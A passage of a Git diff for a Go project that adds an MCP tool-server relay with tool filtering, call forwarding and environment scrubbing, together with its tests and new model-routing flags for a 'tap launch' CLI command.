s.logger.Warn("relay mcp server stopped; restarting", "server", s.cfg.Name, "error", err, "backoff", backoff) + select { + case <-ctx.Done(): + return + case <-time.After(backoff): + } + backoff = min(backoff*2, maxToolBackoff) + } +} + +// serveOnce connects, publishes the tools, and waits for the connection to +// end. +func (s *ToolServer) serveOnce(ctx context.Context) error { + transport, cleanup := s.transport() + defer cleanup() + client := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "tap-relay", Version: "1"}, &sdkmcp.ClientOptions{ + ToolListChangedHandler: func(ctx context.Context, _ *sdkmcp.ToolListChangedRequest) { + go s.refresh(context.WithoutCancel(ctx)) + }, + }) + cs, err := client.Connect(ctx, transport, nil) + if err != nil { + return fmt.Errorf("connect: %w", err) + } + tools, err := s.listTools(ctx, cs) + if err != nil { + _ = cs.Close() + return fmt.Errorf("list tools: %w", err) + } + s.mu.Lock() + s.session = cs + s.tools = tools + s.mu.Unlock() + s.logger.Info("relay mcp server connected", "server", s.cfg.Name, "tools", len(tools)) + s.changed() + + stop := context.AfterFunc(ctx, func() { _ = cs.Close() }) + defer stop() + err = cs.Wait() + + s.mu.Lock() + s.session = nil + s.tools = nil + s.mu.Unlock() + s.changed() + if err == nil { + err = errors.New("connection closed") + } + return err +} + +// refresh re-lists a connected server's tools, publishing any change. +func (s *ToolServer) refresh(ctx context.Context) { + s.mu.Lock() + cs := s.session + s.mu.Unlock() + if cs == nil { + return + } + lctx, cancel := context.WithTimeout(ctx, s.cfg.Timeout) + defer cancel() + tools, err := s.listTools(lctx, cs) + if err != nil { + s.logger.Debug("relay could not re-list mcp tools", "server", s.cfg.Name, "error", err) + return + } + s.mu.Lock() + if s.session != cs || sameTools(s.tools, tools) { + s.mu.Unlock() + return + } + s.tools = tools + s.mu.Unlock() + s.logger.Info("relay mcp tools changed", "server", s.cfg.Name, "tools", len(tools)) + s.changed() +} + +func (s *ToolServer) changed() { + if s.onChange != nil { + s.onChange() + } +} + +// listTools pages through the server's tools and keeps the ones the filter +// admits and Hub would accept. A tool Hub would refuse is dropped here with +// a warning, so one bad tool never costs the whole catalog. +func (s *ToolServer) listTools(ctx context.Context, cs *sdkmcp.ClientSession) ([]relaycontract.Tool, error) { + var out []relaycontract.Tool + for tool, err := range cs.Tools(ctx, nil) { + if err != nil { + return nil, err + } + if !s.admits(tool.Name) { + continue + } + t, err := contractTool(tool) + if err == nil { + err = t.Validate() + } + if err != nil { + s.logger.Warn("relay skipping mcp tool", "server", s.cfg.Name, "tool", tool.Name, "error", err) + continue + } + if len(out) == relaycontract.MaxToolsPerServer { + s.logger.Warn("relay mcp server offers too many tools; skipping the rest", "server", s.cfg.Name, "limit", relaycontract.MaxToolsPerServer) + break + } + out = append(out, t) + } + return out, nil +} + +func (s *ToolServer) admits(name string) bool { + for _, p := range s.cfg.Deny { + if matchModel(p, name) { + return false + } + } + if len(s.cfg.Allow) == 0 { + return true + } + for _, p := range s.cfg.Allow { + if matchModel(p, name) { + return true + } + } + return false +} + +func contractTool(tool *sdkmcp.Tool) (relaycontract.Tool, error) { + schema, err := json.Marshal(tool.InputSchema) + if err != nil { + return relaycontract.Tool{}, fmt.Errorf("encode inputSchema: %w", err) + } + t := relaycontract.Tool{ + Name: tool.Name, + Title: tool.Title, + Description: tool.Description, + InputSchema: schema, + } + if a := tool.Annotations; a != nil { + if t.Title == "" { + t.Title = a.Title + } + readOnly, idempotent := a.ReadOnlyHint, a.IdempotentHint + t.Annotations = &relaycontract.ToolAnnotations{ + ReadOnlyHint: &readOnly, + DestructiveHint: a.DestructiveHint, + IdempotentHint: &idempotent, + OpenWorldHint: a.OpenWorldHint, + } + } + return t, nil +} + +func sameTools(a, b []relaycontract.Tool) bool { + ra, _ := json.Marshal(a) + rb, _ := json.Marshal(b) + return bytes.Equal(ra, rb) +} + +// call runs one tool and returns its CallToolResult as JSON. A tool that ran +// and failed is a result with isError, not an error. +func (s *ToolServer) call(ctx context.Context, tool string, args json.RawMessage) (json.RawMessage, error) { + s.mu.Lock() + cs := s.session + s.mu.Unlock() + if cs == nil { + return nil, ErrToolServerDown + } + res, err := cs.CallTool(ctx, &sdkmcp.CallToolParams{Name: tool, Arguments: args}) + if err != nil { + return nil, err + } + raw, err := json.Marshal(res) + if err != nil { + return nil, fmt.Errorf("encode result: %w", err) + } + if len(raw) > relaycontract.MaxToolResultBytes { + return toolErrorResult(fmt.Sprintf("the tool's result is larger than %d bytes", relaycontract.MaxToolResultBytes)), nil + } + return raw, nil +} + +func toolErrorResult(msg string) json.RawMessage { + raw, _ := json.Marshal(&sdkmcp.CallToolResult{ + Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: msg}}, + IsError: true, + }) + return raw +} + +// transport builds this server's MCP transport and a cleanup that runs after +// the session ends. +func (s *ToolServer) transport() (sdkmcp.Transport, func()) { + if s.cfg.URL != "" { + client := s.http + if client == nil { + client = http.DefaultClient + } + if len(s.cfg.Headers) > 0 { + c := *client + c.Transport = headerTransport{base: client.Transport, headers: s.cfg.Headers} + client = &c + } + return &sdkmcp.StreamableClientTransport{Endpoint: s.cfg.URL, HTTPClient: client}, func() {} + } + cmd := exec.Command(s.cfg.Command, s.cfg.Args...) + cmd.Dir = s.cfg.Dir + cmd.Env = s.cfg.Env + if cmd.Env == nil { + cmd.Env = []string{} + } + cmd.Stderr = &stderrLog{logger: s.logger, server: s.cfg.Name} + setProcessGroup(cmd) + return &sdkmcp.CommandTransport{Command: cmd}, func() { killProcessGroup(cmd) } +} + +type headerTransport struct { + base http.RoundTripper + headers map[string]string +} + +func (t headerTransport) RoundTrip(req *http.Request) (*http.Response, error) { + req = req.Clone(req.Context()) + for k, v := range t.headers { + req.Header.Set(k, v) + } + base := t.base + if base == nil { + base = http.DefaultTransport + } + return base.RoundTrip(req) +} + +// stderrLog writes a stdio server's stderr to the relay log, a line at a +// time, never to Hub. +type stderrLog struct { + logger *slog.Logger + server string + mu sync.Mutex + buf []byte +} + +const maxStderrLine = 4 << 10 + +func (w *stderrLog) Write(p []byte) (int, error) { + w.mu.Lock() + defer w.mu.Unlock() + w.buf = append(w.buf, p...) + for { + i := bytes.IndexByte(w.buf, '\n') + if i < 0 { + break + } + w.emit(w.buf[:i]) + w.buf = w.buf[i+1:] + } + if len(w.buf) > maxStderrLine { + w.emit(w.buf) + w.buf = w.buf[:0] + } + return len(p), nil +} + +func (w *stderrLog) emit(line []byte) { + line = bytes.TrimRight(line, "\r") + if len(line) > maxStderrLine { + line = line[:maxStderrLine] + } + if len(line) > 0 { + w.logger.Debug("relay mcp server stderr", "server", w.server, "line", string(line)) + } +} + +// baseToolEnv are the variables every stdio MCP server gets from the relay's +// environment: what a program needs to find its tools, its home, and its +// locale. Everything else, hub tokens and provider keys included, is passed +// only when the server's configuration names it. +var baseToolEnv = []string{ + "PATH", "HOME", "USER", "LOGNAME", "SHELL", "TMPDIR", "TMP", "TEMP", "LANG", "TERM", + // Windows needs these to start most programs. + "SYSTEMROOT", "SystemRoot", "COMSPEC", "ComSpec", "PATHEXT", "WINDIR", "USERPROFILE", "APPDATA", "LOCALAPPDATA", +} + +// ToolEnv builds a stdio MCP server's environment from the relay's own. With +// inherit it is the whole environment; otherwise the base variables, locale +// settings (LC_*), and the names in pass. Literal values in set are applied +// last and win. +func ToolEnv(environ []string, inherit bool, pass []string, set map[string]string) []string { + var out []string + for _, kv := range environ { + key, _, _ := strings.Cut(kv, "=") + if inherit || slices.Contains(baseToolEnv, key) || strings.HasPrefix(key, "LC_") || slices.Contains(pass, key) { + if _, override := set[key]; !override { + out = append(out, kv) + } + } + } + keys := make([]string, 0, len(set)) + for k := range set { + keys = append(keys, k) + } + slices.Sort(keys) + for _, k := range keys { + out = append(out, k+"="+set[k]) + } + return out +} diff --git a/internal/relay/tools_test.go b/internal/relay/tools_test.go new file mode 100644 index 0000000..dca9c80 --- /dev/null +++ b/internal/relay/tools_test.go @@ -0,0 +1,536 @@ +package relay + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "slices" + "strings" + "testing" + "time" + + "github.com/coder/websocket" + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" + + "github.com/jlrickert/tapper/pkg/relaycontract" +) + +// testMCPEnv switches the test binary into a stdio MCP server, so stdio +// tests run a real child process without anything installed. +const testMCPEnv = "TAP_RELAY_TEST_MCP" + +func TestMain(m *testing.M) { + if os.Getenv(testMCPEnv) != "" { + runTestMCPServer() + return + } + os.Exit(m.Run()) +} + +func runTestMCPServer() { + server := sdkmcp.NewServer(&sdkmcp.Implementation{Name: "test", Version: "1"}, nil) + addEchoTool(server) + server.AddTool(&sdkmcp.Tool{Name: "env", InputSchema: objectSchema()}, func(context.Context, *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + return textResult(strings.Join(os.Environ(), "\n")), nil + }) + server.AddTool(&sdkmcp.Tool{Name: "crash", InputSchema: objectSchema()}, func(context.Context, *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + os.Exit(3) + return nil, nil + }) + _ = server.Run(context.Background(), &sdkmcp.StdioTransport{}) + os.Exit(0) +} + +func objectSchema() map[string]any { return map[string]any{"type": "object"} } + +func textResult(text string) *sdkmcp.CallToolResult { + return &sdkmcp.CallToolResult{Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: text}}} +} + +func addEchoTool(server *sdkmcp.Server) { + server.AddTool(&sdkmcp.Tool{ + Name: "echo", + Description: "Echoes its message.", + InputSchema: map[string]any{"type": "object", "properties": map[string]any{"message": map[string]any{"type": "string"}}}, + Annotations: &sdkmcp.ToolAnnotations{ReadOnlyHint: true}, + }, func(_ context.Context, req *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + var args struct { + Message string `json:"message"` + } + _ = json.Unmarshal(req.Params.Arguments, &args) + return textResult(args.Message), nil + }) +} + +// httpMCP is an in-process streamable HTTP MCP server. +type httpMCP struct { + server *sdkmcp.Server + url string + headers chan http.Header + started chan struct{} + stopped chan struct{} +} + +func newHTTPMCP(t *testing.T) *httpMCP { + t.Helper() + h := &httpMCP{ + server: sdkmcp.NewServer(&sdkmcp.Implementation{Name: "http-test", Version: "1"}, nil), + headers: make(chan http.Header, 64), + started: make(chan struct{}, 4), + stopped: make(chan struct{}, 4), + } + addEchoTool(h.server) + destructive := true + h.server.AddTool(&sdkmcp.Tool{Name: "sleep", InputSchema: objectSchema(), Annotations: &sdkmcp.ToolAnnotations{DestructiveHint: &destructive}}, + func(ctx context.Context, _ *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + h.started <- struct{}{} + <-ctx.Done() + h.stopped <- struct{}{} + return nil, ctx.Err() + }) + h.server.AddTool(&sdkmcp.Tool{Name: "hidden", InputSchema: objectSchema()}, func(context.Context, *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + return textResult("hidden"), nil + }) + h.server.AddTool(&sdkmcp.Tool{Name: "bad name", InputSchema: objectSchema()}, func(context.Context, *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + return textResult("bad"), nil + }) + handler := sdkmcp.NewStreamableHTTPHandler(func(*http.Request) *sdkmcp.Server { return h.server }, nil) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + select { + case h.headers <- r.Header.Clone(): + default: + } + handler.ServeHTTP(w, r) + })) + t.Cleanup(srv.Close) + h.url = srv.URL + return h +} + +func newToolServer(t *testing.T, cfg ToolServerConfig) *ToolServer { + t.Helper() + ts, err := NewToolServer(cfg) + if err != nil { + t.Fatal(err) + } + return ts +} + +func stdioServer(t *testing.T, name string, pass ...string) *ToolServer { + t.Helper() + return newToolServer(t, ToolServerConfig{ + Name: name, + Command: os.Args[0], + Args: []string{"-test.run=^$"}, + Env: ToolEnv(os.Environ(), false, pass, map[string]string{testMCPEnv: "1"}), + }) +} + +func startToolRelay(t *testing.T, hub *fakeHub, servers []*ToolServer, mutate func(*Options)) chan error { + t.Helper() + _, done := startRelay(t, hub, nil, func(o *Options) { + o.ToolServers = servers + if mutate != nil { + mutate(o) + } + }) + return done +} + +// handshakeProtocol reads register and answers registered with protocol. +func handshakeProtocol(t *testing.T, ctx context.Context, c *websocket.Conn, protocol int) relaycontract.Register { + t.Helper() + env := readEnv(t, ctx, c) + var reg relaycontract.Register + if err := env.Decode(®); err != nil { + t.Fatal(err) + } + writeEnv(t, ctx, c, relaycontract.TypeRegistered, "", relaycontract.Registered{Protocol: protocol, Models: []relaycontract.CatalogBinding{}}) + return reg +} + +// waitTools reads tools frames until one satisfies ok. +func waitTools(t *testing.T, ctx context.Context, c *websocket.Conn, ok func(relaycontract.Tools) bool) relaycontract.Tools { + t.Helper() + deadline := time.Now().Add(10 * time.Second) + for time.Now().Before(deadline) { + env := readEnv(t, ctx, c) + if env.Type != relaycontract.TypeTools { + continue + } + var tools relaycontract.Tools + if err := env.Decode(&tools); err != nil { + t.Fatal(err) + } + if ok(tools) { + return tools + } + } + t.Fatal("no matching tools frame") + return relaycontract.Tools{} +} + +func hasServer(name string) func(relaycontract.Tools) bool { + return func(x relaycontract.Tools) bool { + return slices.ContainsFunc(x.Servers, func(s relaycontract.ToolServer) bool { return s.Name == name }) + } +} + +func lacksServer(name string) func(relaycontract.Tools) bool { + has := hasServer(name) + return func(x relaycontract.Tools) bool { return !has(x) } +} + +func toolNames(s relaycontract.ToolServer) []string { + out := make([]string, 0, len(s.Tools)) + for _, tool := range s.Tools { + out = append(out, tool.Name) + } + slices.Sort(out) + return out +} + +// callTool sends a call and returns the result, or the error frame. +func callTool(t *testing.T, ctx context.Context, c *websocket.Conn, id string, call relaycontract.Call) (*sdkmcp.CallToolResult, *relaycontract.Error) { + t.Helper() + if call.Arguments == nil { + call.Arguments = json.RawMessage(`{}`) + } + writeEnv(t, ctx, c, relaycontract.TypeCall, id, call) + var result *sdkmcp.CallToolResult + for { + env := readEnv(t, ctx, c) + if env.ID != id { + continue + } + switch env.Type { + case relaycontract.TypeChunk: + var chunk relaycontract.Chunk + if err := env.Decode(&chunk); err != nil { + t.Fatal(err) + } + result = &sdkmcp.CallToolResult{} + if err := json.Unmarshal(chunk.Data, result); err != nil { + t.Fatal(err) + } + case relaycontract.TypeDone: + if result == nil { + t.Fatal("done without a result chunk") + } + return result, nil + case relaycontract.TypeError: + var e relaycontract.Error + if err := env.Decode(&e); err != nil { + t.Fatal(err) + } + return nil, &e + } + } +} + +func resultText(r *sdkmcp.CallToolResult) string { + var b strings.Builder + for _, c := range r.Content { + if tc, ok := c.(*sdkmcp.TextContent); ok { + b.WriteString(tc.Text) + } + } + return b.String() +} + +func TestToolsOnlyRelayRegisters(t *testing.T) { + mcp := newHTTPMCP(t) + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url})}, nil) + ctx := context.Background() + conn := hub.accept(t) + reg := handshakeProtocol(t, ctx, conn, 2) + if reg.Limits.MaxConcurrent != 1 || len(reg.Models) != 0 { + t.Fatalf("register = %+v, want limit 1 and no models", reg) + } +} + +func TestProtocol1HubNeverReceivesTools(t *testing.T) { + mcp := newHTTPMCP(t) + _, psrv := newFakeProvider(t, "qwen3:8b") + hub := newFakeHub(t) + startRelay(t, hub, []*Provider{ollama(t, psrv.URL)}, func(o *Options) { + o.ToolServers = []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url})} + }) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 1) + // Give the server time to connect and publish; nothing may reach a + // protocol 1 hub but the answer to its ping. + time.Sleep(300 * time.Millisecond) + writeEnv(t, ctx, conn, relaycontract.TypePing, "", nil) + if env := readEnv(t, ctx, conn); env.Type != relaycontract.TypePong { + t.Fatalf("frame = %q, want pong", env.Type) + } + writeEnv(t, ctx, conn, relaycontract.TypeCall, "c1", relaycontract.Call{Server: "web", Tool: "echo", Arguments: json.RawMessage(`{}`)}) + env := readEnv(t, ctx, conn) + var e relaycontract.Error + if env.Type != relaycontract.TypeError || env.Decode(&e) != nil || e.Code != relaycontract.CodeUnsupported { + t.Fatalf("call on protocol 1 = %s %+v, want unsupported", env.Type, e) + } +} + +func TestHTTPToolServerCatalogAndCall(t *testing.T) { + mcp := newHTTPMCP(t) + t.Setenv("TEST_MCP_TOKEN", "sekrit") + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{ + Name: "web", + Title: "Web tools", + URL: mcp.url, + Headers: map[string]string{"Authorization": "Bearer " + os.Getenv("TEST_MCP_TOKEN")}, + Deny: []string{"hid*"}, + MaxConcurrent: 3, + })}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + tools := waitTools(t, ctx, conn, hasServer("web")) + s := tools.Servers[0] + if s.Title != "Web tools" || s.MaxConcurrent != 3 { + t.Fatalf("server = %+v", s) + } + // hidden is denied; "bad name" is not a valid tool name and is dropped. + if got := toolNames(s); !slices.Equal(got, []string{"echo", "sleep"}) { + t.Fatalf("tools = %v, want [echo sleep]", got) + } + for _, tool := range s.Tools { + switch tool.Name { + case "echo": + if a := tool.Annotations; a == nil || a.ReadOnlyHint == nil || !*a.ReadOnlyHint { + t.Fatalf("echo annotations = %+v, want readOnly", a) + } + case "sleep": + if a := tool.Annotations; a == nil || a.DestructiveHint == nil || !*a.DestructiveHint { + t.Fatalf("sleep annotations = %+v, want destructive", a) + } + } + } + + res, e := callTool(t, ctx, conn, "c1", relaycontract.Call{Server: "web", Tool: "echo", Arguments: json.RawMessage(`{"message":"hello"}`)}) + if e != nil { + t.Fatalf("call failed: %+v", e) + } + if res.IsError || resultText(res) != "hello" { + t.Fatalf("result = %+v", res) + } + sawAuth := false + for len(mcp.headers) > 0 { + if (<-mcp.headers).Get("Authorization") == "Bearer sekrit" { + sawAuth = true + } + } + if !sawAuth { + t.Fatal("configured header never reached the MCP server") + } +} + +func TestToolCallErrors(t *testing.T) { + mcp := newHTTPMCP(t) + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url, Deny: []string{"hidden"}})}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + waitTools(t, ctx, conn, hasServer("web")) + + cases := []struct { + name string + call relaycontract.Call + code string + }{ + {"unknown server", relaycontract.Call{Server: "nope", Tool: "echo"}, relaycontract.CodeUnknownTool}, + {"unknown tool", relaycontract.Call{Server: "web", Tool: "nope"}, relaycontract.CodeUnknownTool}, + {"denied tool", relaycontract.Call{Server: "web", Tool: "hidden"}, relaycontract.CodeUnknownTool}, + } + for i, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + _, e := callTool(t, ctx, conn, "e"+string(rune('0'+i)), tc.call) + if e == nil || e.Code != tc.code { + t.Fatalf("error = %+v, want %s", e, tc.code) + } + }) + } + // Arguments must be an object; the strict decode refuses anything else. + writeEnv(t, ctx, conn, relaycontract.TypeCall, "bad", map[string]any{"server": "web", "tool": "echo", "arguments": []int{1}}) + env := readEnv(t, ctx, conn) + var e relaycontract.Error + if env.Type != relaycontract.TypeError || env.Decode(&e) != nil || e.Code != relaycontract.CodeBadRequest { + t.Fatalf("bad call = %s %+v, want bad_request", env.Type, e) + } +} + +func TestToolCallCancelReachesServer(t *testing.T) { + mcp := newHTTPMCP(t) + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url})}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + waitTools(t, ctx, conn, hasServer("web")) + + writeEnv(t, ctx, conn, relaycontract.TypeCall, "long", relaycontract.Call{Server: "web", Tool: "sleep", Arguments: json.RawMessage(`{}`)}) + select { + case <-mcp.started: + case <-time.After(5 * time.Second): + t.Fatal("tool never started") + } + writeEnv(t, ctx, conn, relaycontract.TypeCancel, "long", nil) + env := readEnv(t, ctx, conn) + var e relaycontract.Error + if env.Type != relaycontract.TypeError || env.ID != "long" || env.Decode(&e) != nil || e.Code != relaycontract.CodeCancelled { + t.Fatalf("frame = %s %+v, want cancelled", env.Type, e) + } + select { + case <-mcp.stopped: + case <-time.After(5 * time.Second): + t.Fatal("cancel never reached the MCP server") + } +} + +func TestToolCallTimeoutAndOverload(t *testing.T) { + mcp := newHTTPMCP(t) + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url, MaxConcurrent: 1, Timeout: 500 * time.Millisecond})}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + waitTools(t, ctx, conn, hasServer("web")) + + writeEnv(t, ctx, conn, relaycontract.TypeCall, "slow", relaycontract.Call{Server: "web", Tool: "sleep", Arguments: json.RawMessage(`{}`)}) + <-mcp.started + // The one slot is taken: a second call is turned away at once. + _, e := callTool(t, ctx, conn, "busy", relaycontract.Call{Server: "web", Tool: "echo"}) + if e == nil || e.Code != relaycontract.CodeOverloaded { + t.Fatalf("second call = %+v, want overloaded", e) + } + for { + env := readEnv(t, ctx, conn) + if env.ID != "slow" { + continue + } + var e relaycontract.Error + if env.Type != relaycontract.TypeError || env.Decode(&e) != nil || e.Code != relaycontract.CodeTimeout { + t.Fatalf("slow call = %s %+v, want timeout", env.Type, e) + } + break + } +} + +func TestToolListChangeIsResent(t *testing.T) { + mcp := newHTTPMCP(t) + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{newToolServer(t, ToolServerConfig{Name: "web", URL: mcp.url})}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + waitTools(t, ctx, conn, hasServer("web")) + + mcp.server.AddTool(&sdkmcp.Tool{Name: "added", InputSchema: objectSchema()}, func(context.Context, *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + return textResult("added"), nil + }) + waitTools(t, ctx, conn, func(x relaycontract.Tools) bool { + return len(x.Servers) == 1 && slices.Contains(toolNames(x.Servers[0]), "added") + }) + mcp.server.RemoveTools("added") + waitTools(t, ctx, conn, func(x relaycontract.Tools) bool { + return len(x.Servers) == 1 && !slices.Contains(toolNames(x.Servers[0]), "added") + }) +} + +func TestStdioToolServerScrubsEnvironment(t *testing.T) { + t.Setenv("TAP_TEST_SECRET", "leaked") + t.Setenv("TAP_TEST_PASSED", "passed") + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{stdioServer(t, "local", "TAP_TEST_PASSED")}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + tools := waitTools(t, ctx, conn, hasServer("local")) + if got := toolNames(tools.Servers[0]); !slices.Equal(got, []string{"crash", "echo", "env"}) { + t.Fatalf("tools = %v", got) + } + res, e := callTool(t, ctx, conn, "env", relaycontract.Call{Server: "local", Tool: "env"}) + if e != nil { + t.Fatalf("env call failed: %+v", e) + } + env := resultText(res) + if strings.Contains(env, "TAP_TEST_SECRET") { + t.Fatal("an unlisted variable reached the MCP server") + } + if !strings.Contains(env, "TAP_TEST_PASSED=passed") || !strings.Contains(env, "PATH=") { + t.Fatalf("server environment is missing passed or base variables:\n%s", env) + } +} + +func TestStdioToolServerRestartsAfterCrash(t *testing.T) { + hub := newFakeHub(t) + startToolRelay(t, hub, []*ToolServer{stdioServer(t, "local")}, nil) + ctx := context.Background() + conn := hub.accept(t) + handshakeProtocol(t, ctx, conn, 2) + waitTools(t, ctx, conn, hasServer("local")) + + writeEnv(t, ctx, conn, relaycontract.TypeCall, "boom", relaycontract.Call{Server: "local", Tool: "crash", Arguments: json.RawMessage(`{}`)}) + waitTools(t, ctx, conn, lacksServer("local")) + waitTools(t, ctx, conn, hasServer("local")) + res, e := callTool(t, ctx, conn, "again", relaycontract.Call{Server: "local", Tool: "echo", Arguments: json.RawMessage(`{"message":"back"}`)}) + if e != nil || resultText(res) != "back" { + t.Fatalf("call after restart = %+v, %+v", res, e) + } +} + +func TestNewToolServerValidates(t *testing.T) { + cases := map[string]ToolServerConfig{ + "bad name": {Name: "a b", Command: "x"}, + "no endpoint": {Name: "s"}, + "both endpoints": {Name: "s", Command: "x", URL: "http://localhost"}, + "bad url": {Name: "s", URL: "ftp://host"}, + "too concurrent": {Name: "s", Command: "x", MaxConcurrent: relaycontract.MaxConcurrentCap + 1}, + "negative period": {Name: "s", Command: "x", Timeout: -time.Second}, + } + for name, cfg := range cases { + if _, err := NewToolServer(cfg); err == nil { + t.Errorf("%s: expected an error", name) + } + } + ts, err := NewToolServer(ToolServerConfig{Name: "s", Command: "x"}) + if err != nil { + t.Fatal(err) + } + if ts.cfg.MaxConcurrent != DefaultMaxConcurrent || ts.cfg.Timeout != DefaultToolTimeout { + t.Fatalf("defaults = %d, %s", ts.cfg.MaxConcurrent, ts.cfg.Timeout) + } +} + +func TestNewClientRejectsEmptyAndDuplicateServers(t *testing.T) { + hub := Hub{URL: "http://hub", Token: func(context.Context) (string, error) { return "", nil }} + if _, err := NewClient(Options{Hubs: []Hub{hub}, Name: "laptop"}); err == nil { + t.Fatal("a relay with nothing to offer was accepted") + } + a := newToolServer(t, ToolServerConfig{Name: "dup", Command: "x"}) + b := newToolServer(t, ToolServerConfig{Name: "dup", Command: "y"}) + if _, err := NewClient(Options{Hubs: []Hub{hub}, Name: "laptop", ToolServers: []*ToolServer{a, b}}); err == nil { + t.Fatal("duplicate mcp servers were accepted") + } +} + +func TestToolEnv(t *testing.T) { + environ := []string{"PATH=/bin", "HOME=/h", "LC_ALL=C", "SECRET=x", "PASS=y", "OVERRIDE=old"} + got := ToolEnv(environ, false, []string{"PASS"}, map[string]string{"OVERRIDE": "new", "EXTRA": "e"}) + want := []string{"PATH=/bin", "HOME=/h", "LC_ALL=C", "PASS=y", "EXTRA=e", "OVERRIDE=new"} + if !slices.Equal(got, want) { + t.Fatalf("ToolEnv = %v, want %v", got, want) + } + all := ToolEnv(environ, true, nil, nil) + if !slices.Equal(all, environ) { + t.Fatalf("inherit = %v, want %v", all, environ) + } +} diff --git a/pkg/cli/cmd_launch.go b/pkg/cli/cmd_launch.go index dd4e6ac..79cb06e 100644 --- a/pkg/cli/cmd_launch.go +++ b/pkg/cli/cmd_launch.go @@ -35,6 +35,21 @@ first model in your catalog. tap launch claude --model @you/qwen3:8b tap launch codex +Claude Code keeps your own Claude login by default (split mode): its /model +picker shows its Claude models plus your Hub catalog, and the forwarder sends +each request where its model lives. Claude models go to Anthropic with the +credential Claude Code sent, which never reaches Hub; Hub models go to Hub. +Without --model or --agent it starts on Claude Code's own default. --hub sends +every request to Hub instead (the earlier behavior); --subscription leaves +models alone, so Hub supplies only tools and agents. + +An --agent that allows relayed tools gets them from the tapper plugin's +'tap mcp', which serves them alongside the KEG tools. For Claude Code, the +agent's subagents (or every agent you can see, with --subagents all) become +Claude Code subagents. Each subagent gets +only its own Hub tools plus --subagent-builtins (default Read,Grep,Glob). +Hub still gates every call to the launch agent's tools. + Each harness talks to Hub in the protocol it was built for: Claude Code the Anthropic Messages API, Codex the OpenAI Responses API, opencode and pi OpenAI chat completions. It reaches Hub through a loopback forwarder that lives as @@ -89,6 +104,21 @@ Experimental and unstable: expect this to change.`, cmd.Flags().StringVar(&opts.Model, "model", "", "Hub catalog model id to launch with (default: the first in your catalog)") cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "print the resolved invocation without starting the harness") + var hubOnly, subscription bool + cmd.Flags().BoolVar(&hubOnly, "hub", false, "claude: send every model request to Hub") + cmd.Flags().BoolVar(&subscription, "subscription", false, "claude: use only your Claude login for models; Hub supplies tools and agents") + cmd.MarkFlagsMutuallyExclusive("hub", "subscription") + cmd.Flags().StringVar(&opts.Subagents, "subagents", "", "claude: Hub agents to offer as subagents: all, or none (default: the agent's own subagents)") + cmd.Flags().StringSliceVar(&opts.SubagentBuiltins, "subagent-builtins", nil, "claude: built-in tools each Hub subagent gets (default Read,Grep,Glob)") + cmd.PreRunE = func(cmd *cobra.Command, _ []string) error { + switch { + case hubOnly: + opts.Inference = tapper.LaunchInferenceHub + case subscription: + opts.Inference = tapper.LaunchInferenceSubscription + } + return nil + } _ = cmd.RegisterFlagCompletionFunc("agent", func(cmd *cobra.Command, _ []string, prefix string) ([]string, cobra.ShellCompDirective) { return agentRefCompletion(deps)(cmd, nil, prefix) @@ -104,7 +134,18 @@ func printLaunchPlan(out io.Writer, result *tapper.LaunchResult) error { if result.HubAgent != "" { fmt.Fprintf(&b, "agent: %s\n", result.HubAgent) } - fmt.Fprintf(&b, "hub %s -> %s (via loopback forwarder)\n", result.Hub, result.Model) + switch result.Inference { + case tapper.LaunchInferenceSplit: + model := result.Model + if model == "" { + model = "Claude Code's default" + } + fmt.Fprintf(&b, "split: Claude models via your Claude login, hub %s models via loopback forwarder; starting on %s\n", result.Hub, model) + case tapper.LaunchInferenceSubscription: + fmt.Fprintf(&b, "subscription: models via your Claude login; hub %s supplies tools and agents\n", result.Hub) + default: + fmt.Fprintf(&b, "hub %s -> %s (via loopback forwarder)\n", result.Hub, result.Model) + } if result.Flight != "" { fmt.Fprintf(&b, "flight: %s (connection-pinned root)\n", result.Flight) } diff --git a/pkg/cli/cmd_launch_test.go b/pkg/cli/cmd_launch_test.go index 76af1a5..1a28a82 100644 --- a/pkg/cli/cmd_launch_test.go +++ b/pkg/cli/cmd_launch_test.go @@ -33,7 +33,7 @@ func TestLaunchCommand_DryRunClaude(t *testing.T) { t.Parallel() sb := newLaunchSandbox(t, "flight: \"@testuser/+root\"\n") - res := NewProcess(t, false, "launch", "claude", "--dry-run", "--", "--verbose").Run(sb.Context(), sb.Runtime()) + res := 